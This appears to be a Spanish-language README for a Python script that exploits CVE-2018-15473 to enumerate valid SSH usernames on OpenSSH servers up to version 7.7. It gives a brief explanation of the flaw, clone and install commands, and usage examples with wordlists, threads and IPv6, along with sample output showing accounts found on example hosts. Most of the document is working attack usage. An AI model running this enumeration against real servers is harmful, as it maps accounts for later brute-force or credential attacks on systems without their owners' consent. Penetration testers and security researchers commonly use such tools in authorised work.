wh1t3fox/cve-2018-15473Script de Python para enumerar nombres de usuario SSH válidos explotando CVE-2018-15473, una vulnerabilidad de enumeración de usuarios en OpenSSH hasta 7.7.
OpenSSH hasta la versión 7.7 es propenso a una vulnerabilidad de enumeración de usuarios debido a que no retrasa la salida para un usuario de autenticación inválido hasta que el paquete que contiene la solicitud haya sido completamente analizado, relacionado con auth2-gss.c, auth2-hostbased.c y auth2-pubkey.c.
Puede que necesites instalar el paquete equivalente openssl-dev de tu distribución
# NOTA: si estás instalando en kali, puedes omitir el pip install; paramiko ya está ahí.
git clone https://gitlab.com/epi052/cve-2018-15473.git
cd cve-2018-15473
pip install -r requirements.txt
# - O -
pipenv install -r requirements.txt # si eres así de genial
chmod u+x ssh-username-enum.py
Un solo nombre de usuario
(cve-2018-15473)─> ./ssh-username-enum.py -u epi 192.168.1.2
[+] epi found!
Usa una lista de palabras con 10 hilos (el valor predeterminado es 4)
(cve-2018-15473)─> ./ssh-username-enum.py -t 10 -w /usr/share/metasploit-framework/data/wordlists/unix_users.txt 192.168.1.2
[+] avahi found!
[+] avahi-autoipd found!
[+] backup found!
[+] daemon found!
[+] bin found!
------8<------
Dirección IPv6 en el puerto 2222 y VERBOSIDAD AUMENTADA!
(cve-2018-15473)─> ./ssh-username-enum.py -6 -p 2222 -v -w /usr/share/metasploit-framework/data/wordlists/unix_users.txt '::1'
[-] 4Dgifts not found
[-] demo not found
[-] checkfs not found
[-] anon not found
[-] EZsetup not found
[-] auditor not found
[-] demos not found
[-] OutOfBox not found
[-] checkfsys not found
[+] avahi found!
[-] diag not found
[-] ROOT not found
[-] checksys not found
[-] cmwlogin not found
[+] avahi-autoipd found!
------8<------